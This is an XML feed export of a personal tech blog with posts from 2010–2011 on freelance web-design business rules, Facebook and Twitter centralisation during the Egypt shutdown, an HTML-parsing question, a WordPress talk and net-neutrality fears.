<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-13140861</id><updated>2011-10-30T19:49:19.010-07:00</updated><category term='NY Times'/><category term='net neutrality.'/><category term='tools'/><category term='cpc'/><category term='PHP Conference'/><category term='elance'/><category term='trolls'/><category term='silentbanker'/><category term='Amazon'/><category term='blogspot'/><category term='ads'/><category term='time change'/><category term='privacy'/><category term='Shopping.com'/><category term='projects'/><category term='Georg W. Bush'/><category term='J2'/><category term='Enquisite'/><category term='application development'/><category term='FaceBook'/><category term='MongoDB'/><category term='Adsense'/><category term='JQuery'/><category term='spring ahead'/><category term='FedEx'/><category term='link dump'/><category term='RSS'/><category term='scams'/><category term='Vancouver'/><category term='ShoppingAds.com'/><category term='affiliate'/><category term='printer'/><category term='Page rank'/><category term='domain for sale'/><category term='Affiliate Revenue'/><category term='Canada'/><category term='History'/><category term='dating'/><category term='Apache'/><category term='mashup'/><category term='Groupon'/><category term='GMail'/><category term='fraud'/><category term='taxonomy'/><category term='big brother'/><category term='Gary Pinson'/><category term='lame'/><category term='griefers'/><category term='Commission Junction'/><category term='business'/><category term='XSLT'/><category term='MySQL'/><category term='odesk'/><category term='bad techies'/><category term='Salmon'/><category term='CSS'/><category term='eFax'/><category term='security'/><category term='Web Services'/><category term='Drupal Song'/><category term='SRED'/><category term='CVS'/><category term='Livejournal'/><category term='XML'/><category term='PLR'/><category term='2007'/><category term='offshoring'/><category term='MySpace'/><category term='prediction markets'/><category term='help wanted'/><category term='brownouts'/><category term='harvard'/><category term='employment'/><category term='wordpress'/><category term='Communication Initiative'/><category term='egg timer'/><category term='Laser printer'/><category term='Drupal'/><category term='Facebook Lonarq Phishing'/><category term='404s'/><category term='Firefox'/><category term='dns'/><category term='Dotster'/><category term='CMS'/><category term='marketing'/><category term='Brother4070CDW'/><category term='entrepeneur'/><category term='Recipes'/><category term='thesaurus'/><category term='content'/><category term='Star Trek'/><category term='neozombies.com'/><category term='poverty'/><category term='web design'/><category term='google'/><category term='get rich'/><category term='module development'/><category term='server load'/><category term='Twitter'/><category term='domains'/><category term='Microsoft'/><category term='one laptop per child'/><category term='43 Things'/><category term='clickers'/><category term='Digg.'/><category term='workflow'/><category term='legacy'/><category term='drupalcon'/><category term='AddToAny'/><category term='Dubya'/><category term='server rooms'/><category term='CI'/><category term='Iowa'/><category term='advertising'/><category term='XO laptop'/><category term='youtube'/><category term='Property Past'/><category term='mashups'/><category term='Bestsellers'/><category term='network solutions'/><category term='ebook'/><category term='getafreelancer'/><category term='nag timer'/><category term='Hosting'/><category term='failures'/><category term='Chrome'/><category term='pwned'/><category term='consulting'/><category term='bad design'/><category term='Victoria Grid Project'/><category term='make money at home'/><category term='forms'/><category term='Adwords'/><category term='Google Revolution'/><category term='CBC'/><category term='productivity'/><category term='aggregator'/><category term='Pressflow'/><category term='upgrades'/><category term='Yahoo'/><category term='comments'/><category term='neocon'/><category term='change management'/><category term='spiders'/><category term='Internet'/><category term='tax credits'/><category term='award winners'/><category term='Negroponte'/><category term='login'/><category term='George W. Bush'/><category term='some experience required'/><category term='Wikia'/><category term='Cooking'/><category term='cambrian house'/><category term='programming'/><category term='Portland Grid Project'/><category term='Zynga'/><category term='job trends'/><category term='HTML parsing'/><category term='modules'/><category term='Comes v Microsoft'/><category term='Falkvinge'/><category term='Web 2.0'/><category term='API'/><category term='Open Source'/><category term='PHP'/><category term='clipart'/><category term='&quot;small town news&quot;'/><category term='&quot;technical expert&quot;'/><category term='turnkey website'/><category term='blogger'/><category term='Comcast'/><category term='Mod X'/><category term='SEO'/><category term='Yahoo Shopping'/><category term='Linux'/><category term='chinglish'/><category term='ip addresses'/><category term='Flickr'/><category term='drop shipping'/><category term='westcan'/><category term='OLPC'/><category term='project management'/><category term='despotism'/><category term='fixes'/><category term='drupal heretic'/><category term='iPad'/><category term='traffic'/><category term='P2P'/><category term='Pirate Party'/><category term='money'/><title type='text'>Technically...</title><subtitle type='html'>As I come across knowledge, I will leave it here for others to use. I'm big on Drupal, HTML5, Canvas and XUI.

&lt;a href="http://twitter.com/#!/dewolfe001"&gt;Join me on Twitter&lt;/a&gt; or &lt;a href="http://www.thosedewolfes.com/"&gt;My site&lt;/a&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default?start-index=101&amp;max-results=100'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>218</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-13140861.post-603495130133799190</id><published>2011-04-29T23:15:00.006-07:00</published><updated>2011-04-29T23:42:40.663-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web design'/><category scheme='http://www.blogger.com/atom/ns#' term='business'/><title type='text'>Weird Rules For Developers and Designers to Live By</title><content type='html'>Here are some of my odd rules for how to prevent angst in your web design business. Angst usually comes from billing and contract woes. There are the classic rules: work hard, design well, follow good practices, check out these sites, etc.. Those are all good practices. But here are some canaries in the coal mine of my experiences. Here are weird words about how I see the business of web design and the warning signs that appear by the side of the road.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A Contract Is More Important Than Money&lt;/span&gt;&lt;br /&gt;An hour of work takes an hour for a surgeon, a ditch digger or a web designer. But some people have a weird dynamic with web designers-- treating them like something between a shaman and a vagrant-- not just a person with a technical command and creative spark. To normalize the situation draw up a contract for use. A contract is a nice piece of paper to have to spell out boundaries. It can be walked into a courtroom (see below). But more importantly, it’s a sniff test: if someone won’t sign a contract, then they don’t like playing by rules. Think about how a renegade will react when handed an invoice. Or if they pile work on you and spike the budget. If you can’t get them to sign a contract, you may find them unwilling to pay.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Never Do Business In An Apartment&lt;/span&gt;&lt;br /&gt;As a gun for hire, you have to work in different places, meet in a variety of places and meet at a variety of places. I have met at coffee shops, people’s homes, company offices, cabins in the woods and apartments. The location can be a giveaway to who you’re dealing with. Homes say two things: I’m trusted enough to have a home and/or I may have enough money to afford a home. Offices are fine-- it’s all business. Coffee shops say, “maybe I don’t have it all together, but at least I know that.” An apartment may say a few things: “I live month-to-month” or “I don’t make a lot of money”. It could be baseless, but ask: do want to work with someone who makes short term commitments and doesn’t have money to spare? If your clients are new to you, you have to go by some slim evidence that verges on clairvoyance. I've found that deals done in apartments seem to always go south, eventually.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Don’t Walk Through The Valley of Death&lt;/span&gt;&lt;br /&gt;Any bad debt is theft by a deadbeat. If they didn’t want to pay, they could have opted to not have the work done. Despite having worked for a thief, you have to be pragmatic about the debt. If someone doesn’t want to pay, they may be able to weasel their way out of settling up and the time it could take to recover your money could be huge. What are you: a designer or a debt collector?&lt;br /&gt;There is the valley of death for financial commitments. When you do work, you need to either be able to walk away from the money if the bill becomes unrecoverable; or you need to be able to hand the bill to a lawyer for recovery. A lawyer recently told me that a demand letter and resulting correspondence would run in excess of $500. If I’m owed $400, there’s no point in siccing a lawyer on the guy. But, I can’t start missing $400 volleys of cash, either. So, the approach is to push bills out of that valley: too little to sue for; and too much to swallow. In my economy, those are bills from $200 to $1000. I can make up for $200 rogering but working harder. Likewise, I can pay for a small claims action on a $1000 debt. Those bills in between could really hurt a designer and you try to avoid them by either driving for a quick and inexpensive solution, or gunning for a larger volley of work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pass On The Savings And The Expenses&lt;/span&gt;&lt;br /&gt;When I started doing designs, I had to craft the site from scratch. Fourteen years later and the game has gotten much easier. A CMS used to be very hard to pull off on the cheap. Popular CMS products make it very easy to install a full interactive web site and do so easily. With Facebook, you can get a “Page” for free in little time. Want a discussion group: make one at Ning. The day and age of getting a bunch of students to throw a site together for $5000 are over.&lt;br /&gt;With Drupal, Wordpress, etc.. I can get to a “Hello World” of a web site in well under an hour. With templates and modules or plugins, a regular website can be turned out in 8 or 10 hours. The basic design should be charged fairly (eg. a low amount), then you can add on services that are harder to click and install: good copywriting; good graphic design; good navigation/architecture, custom coding; and good SEO.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Work On Your Own Million Dollar Idea For Free, Not Someone Else’s&lt;/span&gt;&lt;br /&gt;I get this every couple weeks: “I have great idea for a website-- if you design and program it, I’ll give you 50% of the business.” No money up front. Imagine asking a carpenter to build a house for free.&lt;br /&gt;This “It’s just a button” disease has evolved: recently, a designer was offered one of these projects but the designer had to give them the answer by the end of business if they were on board or not. So: you’re rushing me to take on unpaid work?&lt;br /&gt;Sometimes you will find a guy who comes to table with something valuable-- maybe they’re a marketing genius with a long track record of success. You have to assess if a partner is worth teaming with. A million dollar idea that isn’t made is worth $0. If you are bringing that site into reality, your partner has to bring $500,000 worth of value to his $1M idea or they aren’t worth your time.&lt;br /&gt;Here’s a little secret about most of the big websites out there: many of the big ones were built by techies on their own, then money people became attracted later. If a money guy is coming to you to build a site for no money up front that’s like putting the cart before the horse.&lt;br /&gt;If you’re a professional, you should always get paid. I usually counter the “we’ll split it” with “it won’t be expensive to design, so getting the money should be easy, then you can keep most of your million dollars”-- after all, who wouldn’t spend $10k to get a million if they had a sure bet? The truth is, they want you to lose $10k in your billings so that they can reap a half million It's not a good prospect for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-603495130133799190?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/603495130133799190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=603495130133799190' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/603495130133799190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/603495130133799190'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2011/04/weird-rules-for-developers-and.html' title='Weird Rules For Developers and Designers to Live By'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6685718439904478260</id><published>2011-03-21T22:39:00.003-07:00</published><updated>2011-03-21T23:07:01.348-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='consulting'/><title type='text'>42</title><content type='html'>I have been working in web development for about 14 years and change.  They say that the 24x7 nature of the Internet makes events on the  Internet run at three times speed. Quick math says that my 14 yrs mean  42 years of wear-and-tear.&lt;br /&gt;The last eight years have been divided amongst three full-time employers  and a smattering of side gigs. The day jobs have swallowed up my  free-time. The Internet is a sickly baby worthy of kidnapping. It's  always in jeopardy or near jeopardy. The only way a website is safe from  hacking, heavy traffic, logic holes is when it's not visited. Weekdays go into the work at hand. Nights go into the emergencies; and so do the weekends. I have had people email me on Christmas Eve that they need their site looked at.&lt;br /&gt;I know more about the web and my array of languages (PHP, HTML, MySQL, Ajax, JQuery, etc.) than a lot of people. I've outlasted others in the field. My performance in the marathon may not be stellar, but I did all 26 miles.&lt;br /&gt;I am heading back into the world of self-employed consulting. The IT and consulting landscape has changed from the 2003 era when I last had both feet in the self-employment domain, but I am cautious optimistic. This time I had a new plan for how to pull it off. Stay tuned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6685718439904478260?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6685718439904478260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6685718439904478260' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6685718439904478260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6685718439904478260'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2011/03/42.html' title='42'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-202662310895814001</id><published>2011-01-28T07:31:00.009-08:00</published><updated>2011-10-26T20:25:26.890-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='FaceBook'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Egyptians Are Trying To Tell Us Why Facebook Should Not Replace The Internet</title><content type='html'>&lt;span style="font-style: italic;"&gt;If you could post from Egypt to Facebook today, maybe you'd ask, "When did the Internet break?"&lt;/span&gt;&lt;br /&gt;The Internet rose up from DARPAnet to be a network of computers immune to widespread outage (eg. versus a nuclear attack from the Ruskies). It's made to use available pathways until finds it a route from A to B. When things are bad, you have a lot of hops between A and B to circumvent the damage-- to the point where your routing takes forever and maybe gives up. You can block access to specific servers, or increasingly larger blocks of addresses as to try to shut down the message. If an enemy is trying to block access to something that proliferates (like a blog post that gets shared around), it has to try to plug all of these holes to accomplish that. It's difficult. If pernicious enough, it's impossible. Or, least it used to be.&lt;br /&gt;The Internet has been about getting big while satisfying everyone. That's what the long tail about: getting your message to your peeps out there no matter who those peeps are. Along the way, spreading the message was made easier through Twitter and Facebook. Facebook, with 600 million-plus users is almost the Internet itself. People use it to communicate. They blog "Notes" through it. They send around messages. They post pics and videos. They share links. They build communities. All of the world of functionality-- that used to be picked up by a pluralistic bedlam of the World Wide Web-- it's all done by Facebook. You can log onto Facebook and just stay tuned into that one "channel." For an Internet guy, the future seems bleak: Facebook has all the marbles.&lt;br /&gt;People tuned into food security warn about the use of mono-crops. A well cloned potato used throughout Europe led to the Great Potato Famine. Farmers will have to switch up to a different banana strain before the current strain fails altogether. Mono-crops make for a single point of failure. Diversity and pluralism of plants or farm animals is required or else one widespread weakness can be exploited and affect all of the organisms. Think of the goldmine that Facebook presents to hackers: they can get three times more data by raiding Facebook than they can by raiding the IRS database.&lt;br /&gt;Our world is increasingly reliant on the Internet. Anyone who tells you that the world is now networked-- like we've only had wires since 1993-- is naive. Since the days of the telegraph, we've been using a world wide network to carry out business and communication. Telephones, teletypes, fax machines, EDI, etc..-- they've all been used to transmit critical data. The switch to the Internet is the difference: it allows for more dynamic connections and more data and it was more resistant to attack because it didn't hinge on your phone line. Theoretically, the nuke-proof Internet is a better transportation medium. Few countries would consider cutting their national phone lines. Because the Internet conduits business relevant in and around Egypt, Egypt cannot start switch off routers, ISPs and the big "pipe" that runs the Internet into the country. It would be suicide for the government; and a smothering of their business services. Thanks to Facebook and Twitter, they don't need to kill the Internet to cut people off from the Internet. Clip two sites and some of their satelites and you have it squashed.&lt;br /&gt;Twitter has it figured out. Their API is will used by HootSuite and a host of other services to both digest, store and post data to Twitter. They have it right. Facebook is a walled garden: data gets in, but it doesn't get out. People like that, but this clustering of services under the umbrella of relatively few sites has made for a dangerous situation. By the nature of the Internet,  shutting down access is like catching smoke. The Web will find a way. A post you put "out there" will be cached by other sites and users. Email will queue up and re-try. Your usenet post would have proliferated. Little of that happens with Facebook. Twenty years of good, durable technical practices have been undone by a bunch hoodied hipsters. &lt;a href="http://technicalmike.blogspot.com/2010/05/mongo-want-candy.html#acidvbase"&gt;I heard an engineer for NowPublic chortle about users comments&lt;/a&gt; and he mocked people who complained that their comments didn't appear or were lost. The idea that data can be lost and that's okay is both essential to allow the Internet to grow and toxic to its growth-- like a politician who has to abandon his morals to win an election. It also means that material you put out there can either be stuck inside of a walled garden (Facebook) or inside of a site/system that lives with low-grade Alzheimer's (Twitter) and some favoritism (eg. Julian Assange and WikiLeaks trending gets squelched by unaccountable Twitter). By relying on Facebook and Twitter, users are putting their hopes in two sites. By blocking one site, you can shut down access between your people and six hundred million people, their data and coordination. The accretion of traffic to a handful of sites (this includes Google, eBay and the other popular sites) undoes the brilliance of what the Internet sought to achieve: a network resistant to attacks and robust vs. attempts to cut people off from each other. We've given up durability to get convenience. I hope we "Like" it that way. &lt;a href="http://mike.dewolfe.bc.ca/node/3055"&gt;More on the problem with Facebook and Twitter replacing your Internet&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-202662310895814001?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/202662310895814001/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=202662310895814001' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/202662310895814001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/202662310895814001'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2011/01/egyptians-are-trying-to-tell-us-why.html' title='Egyptians Are Trying To Tell Us Why Facebook Should Not Replace The Internet'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4694082469870389519</id><published>2011-01-24T19:46:00.005-08:00</published><updated>2011-01-24T20:08:15.918-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTML parsing'/><title type='text'>Here's My Conundrum</title><content type='html'>I am trying to parse the content in this page, (&lt;a href="http://www.game-boyz.com/content/channels/16"&gt;http://www.game-boyz.com/content/channels/16&lt;/a&gt;) to get the list elements and which list they appear in.&lt;br /&gt;The right sided lists are straight forward-- one link per list. It's kind of straight forward. The list on the left side is trickier.&lt;br /&gt;&lt;br /&gt;Because the links are buried inside of layers of DIV tags and styling, I can't see a way to compare the blocks beside each other and know if they are part of the same list and isolate each block of code relevant to one specific link. For the bonus round, these stylings may duck and weave-- if they change a little, I need to apply the same logic at the HTML to find out the relevance of the code and where it is in the document.&lt;br /&gt;I want to be able to fish out these elements and end up with an array of items in one list (one area). How can I know how many regions I have?&lt;br /&gt;Anyone have any bright ideas? What to show off your smarts? Want a contract to do this: set up the logic to read a page, find its lists, pull those out and isolate each item in a cell in an array specific to the whole a particular list?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4694082469870389519?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4694082469870389519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4694082469870389519' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4694082469870389519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4694082469870389519'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2011/01/heres-my-conundrum.html' title='Here&apos;s My Conundrum'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8697836160807060926</id><published>2011-01-22T21:03:00.002-08:00</published><updated>2011-01-22T21:05:51.549-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><title type='text'>Categories and Tags in Wordpress</title><content type='html'>In case you weren't in our WordCamp Victoria class today, here's a run through of our presentation:&lt;br /&gt;&lt;div class="prezi-player"&gt;&lt;!-- .prezi-player { width: 550px; } .prezi-player-links { text-align: center; } --&gt;&lt;object id="prezi_pnycty36hfu5" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="name" value="prezi_pnycty36hfu5" /&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="bgcolor" value="#ffffff" /&gt;&lt;param name="flashvars" value="prezi_id=pnycty36hfu5&amp;amp;lock_to_path=0&amp;amp;color=ffffff&amp;amp;autoplay=no&amp;amp;autohide_ctrls=0" /&gt;&lt;param name="src" value="http://prezi.com/bin/preziloader.swf" /&gt;&lt;embed id="prezi_pnycty36hfu5" type="application/x-shockwave-flash" width="550" height="400" src="http://prezi.com/bin/preziloader.swf" flashvars="prezi_id=pnycty36hfu5&amp;amp;lock_to_path=0&amp;amp;color=ffffff&amp;amp;autoplay=no&amp;amp;autohide_ctrls=0" bgcolor="#ffffff" allowscriptaccess="always" allowfullscreen="true" name="prezi_pnycty36hfu5"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="prezi-player-links"&gt;&lt;br /&gt;&lt;p&gt;&lt;a title="Overview of categories and tags in WordPress; presentation for Wordcamp Victoria, January 22, 2011." href="http://prezi.com/pnycty36hfu5/categories-vs-tags-organization-smackdown/"&gt;Categories vs. Tags: Organization Smackdown!&lt;/a&gt; on &lt;a href="http://prezi.com"&gt;Prezi&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8697836160807060926?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8697836160807060926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8697836160807060926' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8697836160807060926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8697836160807060926'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2011/01/categories-and-tags-in-wordpress.html' title='Categories and Tags in Wordpress'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4942667975282790996</id><published>2010-12-28T07:12:00.005-08:00</published><updated>2010-12-28T07:42:07.153-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='big brother'/><category scheme='http://www.blogger.com/atom/ns#' term='net neutrality.'/><title type='text'>By 2015, The Free Internet Will Be Totally Gone</title><content type='html'>The &lt;a href="http://www.bbc.co.uk/news/technology-12046874"&gt;BBC has a great piece&lt;/a&gt; about how the US is going to regulate the Internet into being a sanitized corporate tool. &lt;span&gt;Ten years ago, we didn't think porno-scanners and   surrendering nail clippers would be common place at airports. I think   in five years, we'll all be comfortable with a China-style Internet   experience.&lt;/span&gt;&lt;br /&gt;The speed differential that the US telecoms want is going to make two  road to information: the fast toll road that they sanction and the slow  road that we suffer under. Google spurred this change: their bandwidth  hungry services gave the telecomms the excuse to push for an  alternative. In the end, Google may benefit the most: they have long  been looking for a way to omit low quality data and low quality users  from their factoring. If a premium Internet comes, then those users come  pre-qualified as spenders. Google / AdWords loves the spenders. There  are cheap people who surf around on library connections and open wifi.  They don't click. There is this other category of users-- consumers--  who are willing to spend. When they hit the Burma-Shave highway of  Google Ads, they are more likely to click on the ads and drive revenue to Google. Google hates the non-clickers: they make up 99.9% of the people hitting a site. That said, Google has been an Internet success story even with a 99.9% failure rate. If they can suck through 1% of the traffic, it would be grand for them. They will complain and shakes their fists, but at the end of the day, Google is just as corporate and money hungry as Microsoft, Facebook or AT&amp;amp;T. As good libertarians, Google will push for net neutrality. But in fairness to their stockholders, they will go with the current and work to capitalize on what a non-anonymous Internet full of monitoring and quality consumers will do for them.&lt;br /&gt;When this tiered and monitored Internet comes into full swing, there will be a tidy corporate Internet with video and flashy lights  and seedy underbelly. The seedy underbelly has always been there, just  one link further than you usually may go. The spiffy Internet will have  virus checking and all manner of defenses; while the dark side of the  Internet will be full of pop-ups and malware. Good news for Norton and the paid version of AVG: all those malicious sites and viruses need a virus checker.&lt;br /&gt;When someone wants something banned, all they will soon need to do is get the attention of a handful or corporations and suddenly, the information will be as easily blotted as a Chinese democracy march. If you get Google, Facebook, Twitter, Amazon and Yahoo to block something, you will be hard pressed to see that information. Look at Wikileaks: Twitter prevented the topic from trending; Wikipedia removed links to Wikileaks data; and Time Magazine shelved Assange behind Zuckerberg's hoodie. This concentration of popularity combined with a new entitlement by the telecomms, means that the information you will be getting will be carefully monitored and controlled. If someone sics lawyers onto a string of websites, those take-down notices will banish the information from the Internet. It will be like Winston Smith upping the chocolate ration from 15 grams up to 10 grams.&lt;br /&gt;You can avoid the close scrutiny of the corporate commandeered Internet; and you can fish for the real data or previous incarnations.&lt;span&gt; There are technical ways to avoid most of&lt;span class="text_exposed_hide"&gt;...&lt;/span&gt;&lt;span class="text_exposed_show"&gt;   this, but the rank-and-file Internet users will not be able to deploy   those, so most people will get a sanitized and heavily monitored   experience carried out as an advertising vehicle.&lt;br /&gt;With most net users   using Facebook, the honesty-through-anonymity of the Internet is   effectively gone. In lieu of a government run Big Brother who could be   influenced through democratic processes; we have Zuckerberg. There's one difference between Big Zuckerberg and Big Brother: Big Brother made you surrender your information against your will; on Facebook, you gleefully surrender, what you're doing, who you know and where you're doing it. All of that data and those social interactions are key for dialing in who you are and what it will take to make you spend. Orwell's Big Brother is a bad choice for an antagonist. His face looked over throngs of poor and oppressed people who spent weeks using the same razor. How can the Politburo ever get rich off of those dreary masses? You need a teeming and dynamic group of children who want new toys, new feelies to watch and a string of distractions. You want those children of all ages to be good little consumers. To do that, you both want to know what they Like and you want to get that information with the littlest effort possible-- it would be best if they just volunteered that information of their own accord. It would be best, if they checked in at regular intervals with a concise status update-- ideally one of a 140 characters or less.&lt;br /&gt;If I   valued my friends less than I hated Facebook, I would ditch Facebook in a   second. As it is, you will never see me write a FB "note" and I am   unlikely to look at them when written by others. Their role used to be   filled by blog posts and the real Internet.&lt;/span&gt;&lt;/span&gt; Well, the real Internet of today. As it is, this being written on one of Google's most popular products: Blogger. I could post this on one of my personal sites, but I opted not to do that. I like that Google manages the bandwidth costs and server issues. I don't get a snarky phone call at 5AM saying that my blog is down. Google makes it easy for me to write and publish content. You couldn't ask for more out of a Big Brother.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4942667975282790996?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4942667975282790996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4942667975282790996' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4942667975282790996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4942667975282790996'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/12/by-2015-free-internet-will-be-totally.html' title='By 2015, The Free Internet Will Be Totally Gone'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 